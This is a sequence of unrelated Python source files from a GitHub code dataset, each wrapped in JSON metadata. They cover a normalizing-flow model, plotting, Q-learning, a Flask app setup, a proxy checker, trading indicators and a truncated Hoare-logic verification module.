nn.LeakyReLU(),\n                                 nn.Linear(hidden_dim, x_dim), nn.Tanh())\n    nett = lambda: nn.Sequential(nn.Linear(joined_dim, hidden_dim), nn.LeakyReLU(), nn.Linear(hidden_dim, hidden_dim), nn.LeakyReLU(),\n                                 nn.Linear(hidden_dim, x_dim))\n    masks = torch.from_numpy(np.array([[1] * half_dim + [0] * half_dim] * depth).astype(np.float32)).cuda()\n    embedding_distribution = torch.load('/home/ssd_storage/experiments/clip_decoder/celebA_subset_distribution2.pt')\n    prior = distributions.MultivariateNormal(embedding_distribution['mean'].cuda(), embedding_distribution['cov'].cuda())\n    flow = RealNVP(nets, nett, masks, prior)\n    return flow\n","repo_name":"idg7/clip_sg_decoder","sub_path":"models/realNVP/realNVP.py","file_name":"realNVP.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19756417178","text":"# -*- coding: utf-8 -*-\nimport csv\nimport numpy as np\nimport pylab as pl\n\ncsvfile = file('/Users/Lovingmylove521/Downloads/example.csv', 'rb')\nreader = csv.reader(csvfile)\n\ndatax=[]\ndatay=[]\nfor line in reader:\n    datax.append(line[0])\n    datay.append(line[1])\n    \nx=[]\ny=[]\nfor i in np.arange(43,len(datax)):\n    x.append(float(datax[i])/1e9)\n    y.append(float(datay[i]))\n    \nsort_y=[]\nsort_y=sorted(y)\n\npl.plot(x,y,'r')\npl.xlim(0.01,10)\npl.ylim(-70,0)\npl.xlabel('GHz')\npl.ylabel('dBm')\npl.title('2.5GHz triangular pulses spectrum')\npl.text(2.5,sort_y[len(y)-1], sort_y[len(y)-1])\npl.text(5.0,sort_y[len(y)-4], sort_y[len(y)-4])\npl.text(7.5,sort_y[len(y)-2], sort_y[len(y)-2])\npl.show()\n","repo_name":"Lovingmylove/python.sc","sub_path":"pandas/read_csv.py","file_name":"read_csv.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"34364927638","text":"import numpy as np\nfrom enum import Enum\n\nclass Action(Enum):\n\tUP = 0\n\tRIGHT = 1\n\tDOWN = 2\n\tLEFT = 3\n\nEMPTY = np.ones(len(Action)) * -500 # random number not being utilized\n\ndef getNextPos(grid, i, j, action = None):\n\tperc_correct_dir = 0.8\n\tperc_left = 0.1\n\tperc_right = 0.1\n\tchoose_dir = np.random.uniform()\n\n\tif action == None:\n\t\tid_ua = np.argmax(grid[i, j])\n\telse:\n\t\tid_ua = action\n\t# if choose_dir > perc_correct_dir:\n\t\t# if choose_dir > perc_correct_dir + perc_left:\n\t\t\t# id_ua = (id_ua + len(Action) - 1) % len(Action)\n\t\t# else:\n\t\t\t# id_ua = (id_ua + 1) % len(Action)\n\n\tnew_i = i\n\tnew_j = j\n\tif Action(id_ua) == Action.UP and new_i < np.ma.size(grid, 0) - 1:\n\t\tnew_i += 1\n\telif Action(id_ua) == Action.DOWN and new_i > 0:\n\t\tnew_i -= 1\n\telif Action(id_ua) == Action.RIGHT and new_j < np.ma.size(grid, 1) - 1:\n\t\tnew_j += 1\n\telif Action(id_ua) == Action.LEFT and new_j > 0:\n\t\tnew_j -= 1\n\n\tif np.array_equal(grid[new_i, new_j], EMPTY):\n\t\treturn i, j, id_ua\n\telse:\n\t\treturn new_i, new_j, id_ua\n\ndef main():\n\tgrid = np.zeros((3, 4, len(Action)))\n\treward = np.ones((3, 4)) * -0.04\n\treward[2, 3] = 1\n\treward[1, 3] = -1\n\tgrid[1, 1] = EMPTY\n\tgamma = 1 #discount_factor\n\tlearning_rate = 0.5\n\ti = 0\n\tj = 0\n\ty = 0\n\twhile True:\n\t\ty += 1\n\t\t# print(\"Type de direction\")\n\t\tx = None#input()\n\t\tif y > 2000000:\n\t\t\tbreak\n\t\tnew_i, new_j, id_ua = getNextPos(grid, i, j, x)\n\t\t# print(new_i, new_j)\n\t\t# break\n\t\tgrid[i, j, id_ua] = (1 - learning_rate) * grid[i, j, id_ua] + (learning_rate * (reward[i, j] + gamma * np.max(grid[new_i, new_j]) - grid[i, j, id_ua]))\n\n\t\t#if reach final state, start again\n\t\tif abs(reward[i, j]) == 1:\n\t\t\ti = 0\n\t\t\tj = 0\n\t\telse:\n\t\t\ti = new_i\n\t\t\tj = new_j\n\n\t\t# print(grid)\n\tprint(grid)\n\nfloat_formatter = lambda x: \"%.4f\" % x\nnp.set_printoptions(formatter={'float_kind':float_formatter})\n\n\nmain()","repo_name":"runei/MachineLearning","sub_path":"reinforcement_learning.py","file_name":"reinforcement_learning.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23952152928","text":"#Returns true if Number is Palindrome example: It returns true if number 9009\ndef IsPalindrome(number):\n    # Convert number to list\n    NumberAsList = [int(i) for i in str(number)]\n    LengthOfList = len(NumberAsList)\n    # Loop till half of the list of numbers\n    for i in range(0, int(LengthOfList/2)):\n        if (NumberAsList[i] != NumberAsList[LengthOfList-1-i]):\n            return False\n    return True\n","repo_name":"Vivek-Muruganantham/Project-Euler","sub_path":"Python Project Euler/Python Project Euler/Functions/Palindrome.py","file_name":"Palindrome.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28287069008","text":"import logging\nfrom logging.handlers import SMTPHandler, RotatingFileHandler\nimport os\nfrom flask import Flask, request, current_app\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_login import LoginManager\nfrom flask_mail import Mail\nfrom flask_bootstrap import Bootstrap\nfrom flask_moment import Moment\nfrom flask_babel import Babel, lazy_gettext as _l\nfrom config import Config\nfrom elasticsearch import Elasticsearch\nfrom flask_admin.contrib.sqla import ModelView\nfrom flask_admin import Admin\n\nclass UserModelView(ModelView):\n    column_auto_select_related = True\n    create_modal = True\n    edit_modal = True\n    can_export = True\n\n\n\ndb = SQLAlchemy()\nmigrate = Migrate()\nlogin = LoginManager()\nlogin.login_view = 'auth.login'\nlogin.login_message = _l('Please log in to access this page.')\nmail = Mail()\nbootstrap = Bootstrap()\nmoment = Moment()\nbabel = Babel()\nadmin = Admin(template_mode='bootstrap3')\n\n\ndef create_app(config_class=Config):\n    app = Flask(__name__)\n    app.config.from_object(config_class)\n\n    db.init_app(app)\n    migrate.init_app(app, db)\n    login.init_app(app)\n    mail.init_app(app)\n    bootstrap.init_app(app)\n    moment.init_app(app)\n    babel.init_app(app)\n    app.elasticsearch = Elasticsearch([app.config['ELASTICSEARCH_URL']]) \\\n        if app.config['ELASTICSEARCH_URL'] else None\n    app.config['FLASK_ADMIN_SWATCH'] = 'cerulean'\n\n    from app.models import User, Post, Message, Notification, Comment\n    admin.init_app(app)\n    admin.add_view(UserModelView(User, db.session))\n    admin.add_view(UserModelView(Post, db.session))\n    admin.add_view(UserModelView(Message, db.session))\n    admin.add_view(UserModelView(Notification, db.session))\n    admin.add_view(UserModelView(Comment, db.session))\n\n\n    from app.errors import errors_bp\n    app.register_blueprint(errors_bp)\n\n    from app.auth import auth_bp\n    app.register_blueprint(auth_bp, url_prefix='/auth')\n\n    from app.main import main_bp\n    app.register_blueprint(main_bp)\n\n    if not app.debug and not app.testing:\n        if app.config['MAIL_SERVER']:\n            auth = None\n            if app.config['MAIL_USERNAME'] or app.config['MAIL_PASSWORD']:\n                auth = (app.config['MAIL_USERNAME'],\n                        app.config['MAIL_PASSWORD'])\n            secure = None\n            if app.config['MAIL_USE_TLS']:\n                secure = ()\n            mail_handler = SMTPHandler(\n                mailhost=(app.config['MAIL_SERVER'], app.config['MAIL_PORT']),\n                fromaddr='alexvanellope@gmail.com' + app.config['MAIL_SERVER'],\n                toaddrs=app.config['ADMINS'], subject='MMUblog Failure',\n                credentials=auth, secure=secure)\n            mail_handler.setLevel(logging.ERROR)\n            app.logger.addHandler(mail_handler)\n        if app.config['LOG_TO_STDOUT']:\n            stream_handler = logging.StreamHandler()\n            stream_handler.setLevel(logging.INFO)\n            app.logger.addHandler(stream_handler)\n        else:\n            if not os.path.exists('logs'):\n                os.mkdir('logs')\n            file_handler = RotatingFileHandler('logs/MMUblog.log', maxBytes=10240, backupCount=10)\n            file_handler.setFormatter(logging.Formatter(\n                '%(asctime)s %(levelname)s: %(message)s '\n                '[in %(pathname)s:%(lineno)d]'))\n            file_handler.setLevel(logging.INFO)\n            app.logger.addHandler(file_handler)\n\n            app.logger.setLevel(logging.INFO)\n            app.logger.info('MMUblog startup')\n\n    return app\n\nfrom app import models","repo_name":"kiborgok/social-networking-service","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"40970343691","text":"import requests\nimport time\n\nclass ProxyChecker:\n    user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36'\n    headers = {\n        \"X-Requested-With\": \"XMLHttpRequest\",\n        \"Referer\": \"\",\n        'User-Agent': user_agent\n    }\n\n    def __init__(self):\n        self.proxy_list = []\n        self.check_url = ''\n\n\n    def setProxyList(self, proxy_list: list):\n        self.proxy_list = proxy_list\n\n    def setCheckURL(self, url: str):\n        self.check_url = url\n        self.headers['Referer'] = url\n\n    def checkProxy(self, proxy, timeout) -> list:\n        delay = -1\n        try:\n            a = time.time()\n            requests.get(self.check_url, headers=self.headers, proxies=proxy, timeout=timeout)\n            delay = time.time() - a\n            if delay > timeout: raise Exception\n        except Exception as e:\n            return [False, delay]\n\n        return [True, delay]\n\n    def checkProxiesFromList(self, timeout) -> bool:\n        for proxy in self.proxy_list:\n            yield self.checkProxy(proxy, timeout)","repo_name":"dlcjsdltlq/dcinside-cleaner","sub_path":"dcinside_cleaner/proxy_checker.py","file_name":"proxy_checker.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"16"}
+{"seq_id":"39094337688","text":"input_text = input(\"Введите текст со скобками: \")\r\ndef remove(text):\r\n    result = \"\"\r\n    while True:\r\n        open = text.find('(')\r\n        if open == -1:\r\n            break\r\n\r\n        close = text.find(')', open)\r\n        if close == -1:\r\n            break\r\n\r\n        result += text[open + 1:close] + \"\\n\"\r\n\r\n        text = text[close + 1:]\r\n\r\n    return result.strip()\r\n\r\n\r\noutput_text = remove(input_text)\r\nprint(output_text)","repo_name":"ArtzSam/Data-types","sub_path":"work6.py","file_name":"work6.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17918835232","text":"import sys\nimport os\nimport collections\nfrom decimal import Decimal\nimport ta\nimport numpy as np\nimport pandas as pd\n\nlib_path = os.path.dirname(os.path.realpath(__file__))\nsys.path.append(lib_path)\nsys.path.append(lib_path + '/../repositories')\nfrom ohlcv_repository import OhlcvRepository\n\ndef makehash():\n    return collections.defaultdict(makehash)\n\n\nclass Indicator:\n    def __init__(self, ex_api, logger=None, socketio=None, channel_uuid=''):\n        self._logger = logger\n        self._socketlog = [socketio, channel_uuid]\n        self._ex_api = ex_api\n        self._ohlcv_repository = OhlcvRepository()\n        self.indicator_data = makehash()\n        self.indicator_data['supp_resist'] = {}\n        self.indicator_data['moving_average'] = {}\n        self.indicator_data['rsi'] = {}\n\n    def __calc_support_resistance(self, pair, supp_resist='support', initial=False, time_query=None, input_cdl_list=None):\n        interval = self.indicator_data['supp_resist'][pair]['interval']\n        swing_len = self.indicator_data['supp_resist'][pair]['swing_len']\n        # get data from db\n        # get 60 record for calculate SR\n        if input_cdl_list:\n            candle_list = input_cdl_list\n        elif time_query:\n            time_start = time_query - (2 * swing_len + 1) * 60 * 1000\n            candle_list = self._ohlcv_repository.fetch_cdl_list(pair, interval, time_start, to_time=time_query)\n        elif self._ex_api:\n            candle_list = self._ex_api.fetch_ohlcv(pair, interval, tf_index=0)\n        else:\n            return\n        pivot_idx = swing_len\n        left_bar = 2 * swing_len - 1\n        right_bar = 1\n        #print('candle_list ', candle_list)\n        if initial:\n            num_candles = len(candle_list)\n            for _ in range(num_candles-swing_len*2):\n                if not self.indicator_data['supp_resist'][pair]['last_resistance']:\n                    if right_bar == 1:\n                        high_price_list = [c[2] for c in candle_list[-left_bar:]]\n                    else:\n                        high_price_list = [c[2] for c in candle_list[-left_bar:-right_bar+1]]\n                    high_pivot = high_price_list[-pivot_idx]\n                    highest_high = max(high_price_list)\n                    if high_pivot == highest_high:\n                        self.indicator_data['supp_resist'][pair]['last_resistance'] = high_pivot\n                if not self.indicator_data['supp_resist'][pair]['last_support']:\n                    if right_bar == 1:\n                        low_price_list = [c[3] for c in candle_list[-left_bar:]]\n                    else:\n                        low_price_list = [c[3] for c in candle_list[-left_bar:-right_bar+1]]\n                    low_pivot = low_price_list[-pivot_idx]\n                    lowest_low = min(low_price_list)\n                    if low_pivot == lowest_low:\n                        self.indicator_data['supp_resist'][pair]['last_support'] = low_pivot\n                if self.indicator_data['supp_resist'][pair]['last_resistance'] and self.indicator_data['supp_resist'][pair]['last_support']:\n                    return\n                left_bar += 1\n                right_bar += 1\n        else:\n            period_candle_list = candle_list[-left_bar:]\n            if supp_resist == 'resistance':\n                high_price_list = [c[2] for c in period_candle_list]\n                high_pivot = high_price_list[-pivot_idx]\n                highest_high = max(high_price_list)\n                if high_pivot == highest_high:\n                    self.indicator_data['supp_resist'][pair]['last_resistance'] = high_pivot\n\n            if supp_resist == 'support':\n                low_price_list = [c[3] for c in period_candle_list]\n                low_pivot = low_price_list[-pivot_idx]\n                lowest_low = min(low_price_list)\n                if low_pivot == lowest_low:\n                    self.indicator_data['supp_resist'][pair]['last_support'] = low_pivot\n\n    def register_support_resistance(self, pair, swing_len, interval='1m', time_query=None):\n        if self.indicator_data['supp_resist'].get(pair):\n            return\n        if self._ex_api:\n            self._ex_api.register_ohlcv(pair, interval)\n        self.indicator_data['supp_resist'][pair] = {}\n        self.indicator_data['supp_resist'][pair]['swing_len'] = swing_len\n        self.indicator_data['supp_resist'][pair]['interval'] = interval\n        self.indicator_data['supp_resist'][pair]['last_support'] = None\n        self.indicator_data['supp_resist'][pair]['last_resistance'] = None\n        self.__calc_support_resistance(pair, initial=True, time_query=time_query)\n\n    def fetch_support(self, pair, time_query=None, input_cdl_list=None):\n        if self.indicator_data['supp_resist'].get(pair):\n            self.__calc_support_resistance(pair, 'support', time_query=time_query, input_cdl_list=input_cdl_list)\n            return self.indicator_data['supp_resist'][pair]['last_support']\n        return None\n\n    def fetch_resistance(self, pair, time_query=None, input_cdl_list=None):\n        if self.indicator_data['supp_resist'].get(pair):\n            self.__calc_support_resistance(pair, 'resistance', time_query=time_query, input_cdl_list=input_cdl_list)\n            return self.indicator_data['supp_resist'][pair]['last_resistance']\n        return None\n\n    def register_moving_average(self, pair, interval='1m'):\n        if self.indicator_data['moving_average'].get(pair):\n            return\n        if self._ex_api:\n            self._ex_api.register_ohlcv(pair, interval, real_time=True)\n        self.indicator_data['moving_average'][pair] = {}\n        self.indicator_data['moving_average'][pair]['interval'] = interval\n\n    def fetch_moving_average(self, pair, period: int, candle_index=1, ma_type='simple', source='close', time_query=None, input_cdl_list=None):\n        if not self.indicator_data['moving_average'].get(pair):\n            return None\n        interval = self.indicator_data['moving_average'][pair]['interval']\n        # Fetch candle list\n        if input_cdl_list:\n            candle_list = input_cdl_list\n        elif time_query:\n            time_start = time_query - period * 60 * 1000\n            candle_list = self._ohlcv_repository.fetch_cdl_list(pair, interval, time_start, to_time=time_query)\n        elif self._ex_api:\n            candle_list = self._ex_api.fetch_ohlcv(pair, interval, tf_index=0)\n        else:\n            return None\n        # Calc moving_average\n        if ma_type == 'simple':\n            first_cdl_period = -(candle_index + period - 1)\n            last_cdl_period = -candle_index + 1\n            if last_cdl_period == 0:\n                candle_in_period = candle_list[first_cdl_period:]\n            else:\n                candle_in_period = candle_list[first_cdl_period:last_cdl_period]\n            #print(first_cdl_period, last_cdl_period, candle_in_period)\n            if source == 'close':\n                source_in_period = [Decimal(str(cdl[4])) for cdl in candle_in_period]\n            elif source == 'open':\n                if input_cdl_list:\n                    source_in_period = [Decimal(str(cdl[1])) for cdl in candle_in_period]\n                else:\n                    running_cdl = self._ex_api.fetch_running_ohlcv(pair, interval)\n                    candle_in_period = candle_in_period[1:] + [running_cdl]\n                    source_in_period = [Decimal(str(cdl[1])) for cdl in candle_in_period]\n            elif source == 'volume':\n                source_in_period = [Decimal(str(cdl[5])) for cdl in candle_in_period]\n            else:\n                #TODO\n                return None\n            #print(source_in_period, period)\n            moving_average = float(sum(source_in_period)/Decimal(str(period)))\n            return moving_average\n        else:\n            print('{} not supported'.format(ma_type))\n            return None\n            \n    def register_rsi(self, pair, interval='1m'):\n        if self.indicator_data['rsi'].get(pair):\n            return\n        if self._ex_api:\n            self._ex_api.register_ohlcv(pair, interval)\n        self.indicator_data['rsi'][pair] = {}\n        self.indicator_data['rsi'][pair]['interval'] = interval\n\n    def fetch_rsi(self, pair, period: int, candle_index=1, source='close', time_query=None, input_cdl_list=None):\n        if not self.indicator_data['rsi'].get(pair):\n            return None\n        interval = self.indicator_data['rsi'][pair]['interval']\n        # Fetch candle list\n        if input_cdl_list:\n            candle_list = input_cdl_list\n        elif time_query:\n            time_start = time_query - period * 60 * 1000\n            candle_list = self._ohlcv_repository.fetch_cdl_list(pair, interval, time_start, to_time=time_query)\n        elif self._ex_api:\n            candle_list = self._ex_api.fetch_ohlcv(pair, interval, tf_index=0)\n        else:\n            return None\n        # Calc rsi\n        last_cdl_period = -candle_index + 1\n        if last_cdl_period == 0:\n            candle_in_period = candle_list\n        else:\n            candle_in_period = candle_list[:last_cdl_period]\n        if source == 'close':\n            source_in_period = [Decimal(str(cdl[4])) for cdl in candle_in_period]\n        elif source == 'open':\n            running_cdl = self._ex_api.fetch_running_ohlcv(pair, interval)\n            candle_in_period = candle_in_period[1:] + [running_cdl]\n            source_in_period = [Decimal(str(cdl[1])) for cdl in candle_in_period]\n        else:\n            #TODO\n            return None\n        change = [j-i for i, j in zip(source_in_period[:-1], source_in_period[1:])]\n        gain = [i if i >= 0 else 0 for i in change]\n        loss = [-1*i if i < 0 else 0 for i in change]\n        def rma(input_list, alpha):\n            alpha = Decimal(str(alpha))\n            rma = Decimal(str(input_list[0]))\n            for element in input_list:\n                rma = (element + (alpha - Decimal(1)) * rma) / alpha\n            return rma\n        avgGain = rma(gain, period)\n        avgLoss = rma(loss, period)\n        rs = avgGain / avgLoss\n        rsi = Decimal(100) - (Decimal(100) / (Decimal(1) + rs))\n        return float(rsi)\n\n    def register_macd(self, pair, interval='1m'):\n        if self.indicator_data['macd'].get(pair):\n            return\n        if self._ex_api:\n            self._ex_api.register_ohlcv(pair, interval)\n        self.indicator_data['macd'][pair] = {}\n        self.indicator_data['macd'][pair]['interval'] = interval\n\n    def fetch_macd(self, pair, candle_index=1, flen=12, slen=26, signal_sm=9, source='close', runtime=False, time_query=None, input_cdl_list=None):\n        if not self.indicator_data['macd'].get(pair):\n            return None\n        interval = self.indicator_data['macd'][pair]['interval']\n        # Fetch candle list\n        if input_cdl_list:\n            candle_list = input_cdl_list\n        elif time_query:\n            time_start = time_query - period * 60 * 1000\n            candle_list = self._ohlcv_repository.fetch_cdl_list(pair, interval, time_start, to_time=time_query)\n        elif self._ex_api:\n            candle_list = self._ex_api.fetch_ohlcv(pair, interval, tf_index=0)\n        else:\n            return None\n\n        #print(first_cdl_period, last_cdl_period, candle_in_period)\n        if source == 'close':\n            source_index = 4\n        elif source == 'open':\n            source_index = 1\n\n        if runtime:\n            running_cdl = self._ex_api.fetch_running_ohlcv(pair, interval)\n            candle_in_period = candle_list + [running_cdl]\n            source_in_period = [cdl[source_index] for cdl in candle_in_period]\n        else:\n            source_in_period = [cdl[source_index] for cdl in candle_list]\n\n        def ema(input_list, alpha):\n            alpha = Decimal(str(2/(alpha + 1)))\n            ema = Decimal(str(input_list[0]))\n            for element in input_list:\n                ema = alpha * Decimal(str(element)) + (Decimal(1) - alpha) * ema\n            return float(ema)\n\n        # Fast length\n        macd_line = []\n        for i in range(slen, len(source_in_period)+1):\n            emaslow = ema(source_in_period[:i], slen)\n            emafast = ema(source_in_period[:i], flen)\n            macd = emafast - emaslow\n            macd_line.append(macd)\n        signal_latest = ema(macd_line, signal_sm)\n        macd_latest = macd_line[-1]\n        return macd_latest - signal_latest, macd_latest, signal_latest\n\n    def register_atr_trailing_stop(self, pair, interval='1m'):\n        if self.indicator_data['atr_ts'].get(pair):\n            return\n        if self._ex_api:\n            self._ex_api.register_ohlcv(pair, interval)\n        self.indicator_data['atr_ts'][pair] = {}\n        self.indicator_data['atr_ts'][pair]['interval'] = interval\n\n    def generate_atr_tailing(self, df, ATRperiod, nATRMultip):\n        df['ATR'] = ta.volatility.average_true_range(df['high'], df['low'], df['close'], ATRperiod)\n        nLoss = nATRMultip * df['ATR']\n        xATRTrailingStop = np.zeros(len(nLoss))\n        pos = np.zeros(len(nLoss))\n        for i in range(ATRperiod - 1, len(xATRTrailingStop)):\n            if df['close'][i] > xATRTrailingStop[i - 1] and df['close'][i - 1] > xATRTrailingStop[i - 1]:\n                xATRTrailingStop[i] = max(xATRTrailingStop[i - 1], df['close'][i] - nLoss[i])\n            elif df['close'][i] < xATRTrailingStop[i - 1] and df['close'][i - 1] < xATRTrailingStop[i - 1]:\n                xATRTrailingStop[i] = min(xATRTrailingStop[i - 1], df['close'][i] + nLoss[i])\n            elif df['close'][i] > xATRTrailingStop[i - 1]:\n                xATRTrailingStop[i] = df['close'][i] - nLoss[i]\n            else:\n                xATRTrailingStop[i] = df['close'][i] + nLoss[i]\n\n            if df['close'][i - 1] < xATRTrailingStop[i - 1] and df['close'][i] > xATRTrailingStop[i - 1]:\n                # Green\n                pos[i] = 1\n            elif df['close'][i - 1] > xATRTrailingStop[i - 1] and df['close'][i] < xATRTrailingStop[i - 1]:\n                # Red\n                pos[i] = -1\n            else:\n                pos[i] = pos[i - 1]\n        df['atr_ts'] = xATRTrailingStop\n        df['color'] = pos\n        # First 1hour data isn't accuracy because of rma\n        # Return data from cdl 60\n        return df[60:]\n\n    def fetch_atr_ts(self, pair, ATRperiod, nATRMultip):\n        if not self.indicator_data['atr_ts'].get(pair):\n            return None\n        interval = self.indicator_data['atr_ts'][pair]['interval']\n        candle_list = self._ex_api.fetch_ohlcv(pair, interval, tf_index=0)\n        candle_list = [i[:6] for i in candle_list]\n        df = pd.DataFrame(candle_list, columns=['Time', 'open', 'high', 'low', 'close', 'volume'])\n        gen_df = self.generate_atr_tailing(df, ATRperiod, nATRMultip)\n        last_item_index = df.shape[0] - 1\n        return (int(gen_df['color'][last_item_index]), gen_df['atr_ts'][last_item_index])\n","repo_name":"codepritesh/saastoolfeb","sub_path":"libs/indicator_lib.py","file_name":"indicator_lib.py","file_ext":"py","file_size_in_byte":14902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25892961031","text":"\"\"\"\nPython implementation of Hybrid Hoare Logic.\n\nThis version uses data structures that are separate from the main\nHCSP program.\n\n\"\"\"\nimport copy\n\nfrom sympy import sympify, degree, symbols, factor_list, fraction, simplify\n\nfrom hhlpy.sympy_wrapper import sp_polynomial_div, sp_simplify, sp_is_polynomial\nfrom hhlpy.wolframengine_wrapper import solveODE, wl_prove\nfrom hhlpy.wolframengine_wrapper import wl_simplify, wl_polynomial_div, wl_is_polynomial, found_wolfram\nfrom hhlpy.z3wrapper import z3_prove\nfrom ss2hcsp.hcsp import hcsp, expr, assertion, label\nfrom ss2hcsp.hcsp.parser import expr_parser, expr_parser\nfrom ss2hcsp.hcsp.simulator import get_pos\n\n\ndef compute_diff(e, eqs_dict, functions):\n    \"\"\"Compute differential of an arithmetic or boolean expression.\"\"\"\n    def rec(e):\n        if isinstance(e, expr.LogicExpr):\n            if e.op == \"&&\":\n                return expr.LogicExpr(\"&&\", rec(e.exprs[0]), rec(e.exprs[1]))\n            elif e.op == \"||\":\n                return expr.LogicExpr(\"&&\", rec(e.exprs[0]), rec(e.exprs[1]))\n            elif e.op == \"->\":\n                return rec(expr.LogicExpr(\"||\", expr.neg_expr(e.exprs[0]), e.exprs[1]))\n            elif e.op == \"!\":\n                return rec(expr.neg_expr(e.exprs[0]))\n            else:\n                raise NotImplementedError\n        elif isinstance(e, expr.RelExpr):\n            if e.op == '<' or e.op == '<=':\n                return expr.RelExpr(\"<=\", rec(e.expr1), rec(e.expr2))\n            elif e.op == '>' or e.op == '>=':\n                return expr.RelExpr(\">=\", rec(e.expr1), rec(e.expr2))\n            elif e.op == '==' or e.op == '!=':\n                return expr.RelExpr(\"==\", rec(e.expr1), rec(e.expr2))\n            else:\n                raise NotImplementedError\n        elif isinstance(e, expr.AConst):\n            return expr.AConst(0)\n        elif isinstance(e, expr.BConst):\n            return expr.BConst(True)\n        elif isinstance(e, expr.FunExpr):\n            if len(e.exprs) == 0:\n                return expr.AConst(0)      \n            elif e.fun_name in functions:\n                return rec(expr.replace_function(e, functions))\n            else:\n                raise NotImplementedError\n        elif isinstance(e, expr.AVar):\n            if e.name in eqs_dict:\n                return eqs_dict[e.name]\n            else:\n                return expr.AConst(0)\n        elif isinstance(e, expr.OpExpr):\n            if len(e.exprs) == 1:\n                return expr.OpExpr(\"-\", rec(e.exprs[0]))\n            elif e.op == '+':\n                return expr.OpExpr(\"+\", rec(e.exprs[0]), rec(e.exprs[1]))\n            elif e.op == '-':\n                return expr.OpExpr(\"-\", rec(e.exprs[0]), rec(e.exprs[1]))\n            elif e.op == '*':\n                # d(u*v) = u*dv + du*v\n                du, dv = rec(e.exprs[0]), rec(e.exprs[1])\n                return expr.OpExpr(\"+\", expr.OpExpr(\"*\", e.exprs[0], dv), \n                                        expr.OpExpr(\"*\", du, e.exprs[1]))\n            elif e.op == '^' and isinstance(e.exprs[1], expr.AConst):\n                # d(u^n) = n * u^(n-1) * du\n                du = rec(e.exprs[0])\n                mid_expr = expr.OpExpr(\"^\", e.exprs[0], expr.OpExpr(\"-\", e.exprs[1], expr.AConst(1)))\n                return expr.OpExpr(\"*\", e.exprs[1], expr.OpExpr(\"*\", mid_expr, du)) \n            elif e.op == '/':\n                # d(u/v) = (du * v - u * dv)/ v^2   u'v-uv')/v²\n                # If v is constant, d(u/v) = 1/v * du, which is easier than using above rule.\n                if isinstance(e.exprs[1], expr.AConst) or \\\n                   isinstance(e.exprs[1], expr.FunExpr) and len(e.exprs == 0): # actually a constant\n                    du = rec(e.exprs[0])\n                    return expr.OpExpr('*', expr.OpExpr('/', expr.AConst(1), e.exprs[1]), du)\n                else:\n                    du = rec(e.exprs[0])\n                    dv = rec(e.exprs[1])\n                    numerator = expr.OpExpr(\"-\", expr.OpExpr(\"*\", du, e.exprs[1]), expr.OpExpr(\"*\", e.exprs[0], dv))\n                    denominator = expr.OpExpr('*', e.exprs[1], e.exprs[1])\n                    return expr.OpExpr('/', numerator, denominator)            \n            else:\n                raise NotImplementedError\n        else:\n            raise NotImplementedError\n    return rec(e)\n\ndef constraint_examination(e):\n    '''Examine whether the constraint is open intervals or not.'''\n    if not isinstance(e, expr.Expr):\n        raise NotImplementedError\n    \n    def rec(e):\n        if isinstance(e, expr.RelExpr):\n            if e.op in [\">\", \"<\", \"!=\"]:\n                return True\n            else:\n                return False\n        elif isinstance(e, expr.LogicExpr):\n            if e.op == '!':\n                return not rec(e.exprs[0])\n            elif e.op == '&&' or e.op == '||':\n                return rec(e.exprs[0] and e.exprs[1])\n    return rec(e)\n\ndef compute_boundary(e):\n    # Compute the boundary for a boolean expression.\n    if isinstance(e, expr.RelExpr):\n        if e.op in ['<', '>', '!=']:\n            return expr.RelExpr(\"==\", e.expr1, e.expr2)\n    \n    elif isinstance(e, expr.LogicExpr):\n        if e.op == '&&':\n            conjs = expr.split_conj(e)\n            conj_boundarys = []\n            conj_closure = []\n            # Compute the boundary and closure for each conjuncts\n            for c in conjs:\n                conj_boundarys.append(compute_boundary(c))\n                conj_closure.append(compute_closure(c))\n            \n            boundarys = []\n            for i in range(len(conjs)):\n                # The boundary of ith conjunct. \n                # Note that other conjuncts' boundaries may also be satisfied, \n                # so here use closure of other conjuncts.\n                sub_boundarys = conj_closure.copy()\n                sub_boundarys[i] = conj_boundarys[i]    \n                sub_boundary = expr.list_conj(*sub_boundarys) \n\n                boundarys.append(sub_boundary)\n            return expr.list_disj(*boundarys) \n        elif e.op == '||':\n            boundary1 = compute_boundary(e.exprs[0])\n            boundary2 = compute_boundary(e.exprs[1])\n            neg1 = expr.neg_expr(e.exprs[0])\n            neg2 = expr.neg_expr(e.exprs[1])\n            disj1 = expr.LogicExpr('&&', neg1, boundary2)\n            disj2 = expr.LogicExpr('&&', neg2, boundary1)\n            return expr.LogicExpr('||', disj1, disj2)\n        elif e.op == '!':\n            return compute_boundary(expr.neg_expr(e.exprs[0]))\n        else:\n            raise NotImplementedError\n    else:\n        raise NotImplementedError\n\ndef compute_closure(e):\n    \"\"\"Compute the closure for an open interval\"\"\"\n    if isinstance(e, expr.RelExpr):\n        if e.op == '<':\n            return expr.RelExpr(\"<=\", e.expr1, e.expr2)\n        elif e.op == '>':\n            return expr.RelExpr(\">=\", e.expr1, e.expr2)\n        elif e.op == '!=':\n            return expr.true_expr\n        else:\n            raise NotImplementedError\n\n    elif isinstance(e, expr.LogicExpr):\n        if e.op == '&&':\n            return expr.LogicExpr('&&', compute_closure(e.exprs[0]), 